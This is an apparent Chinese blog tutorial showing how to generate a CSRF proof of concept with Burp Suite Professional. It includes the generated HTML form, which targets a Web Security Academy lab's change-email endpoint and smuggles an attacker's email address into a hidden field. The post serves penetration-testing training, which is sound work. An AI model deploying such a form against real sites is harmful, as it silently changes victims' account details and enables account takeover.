如何通过Burp Suite专业版构建CSRF PoC

全栈安全

已于 2024-01-15 09:16:53 修改

阅读量1.7k

点赞数 13

分类专栏：网络安全渗透测试文章标签： csrf

于 2024-01-15 07:52:45 首次发布

本文链接：https://blog.csdn.net/u013129300/article/details/135588125

版权

网络安全同时被 2 个专栏收录

88 篇文章

订阅专栏

渗透测试

18 篇文章

订阅专栏

Burp Suite是一款强大的渗透测试利器，可以利用它来高效的执行渗透攻击，接下来介绍如何通过Burp Suite Pro来构建CSRF PoC。

如果还没安装burp suite，请参阅【Burp Suite专业版本安装配置及使用指导】

在Bupr中找到拦截的请求，右键选择Engagement tools => Generate CSRF PoC
利用CSRF PoC生成器自动生成HTML

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a50007d0353381f8795a7ae004c001b.web-security-academy.net/my-account/change-email" method="POST" enctype="text/plain">
      <input type="hidden" name="csrf" value="ztEXkyKgBF1CquUx7mGtX5VHoeTxBZGw&amp;email&#61;attacker&#64;163&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>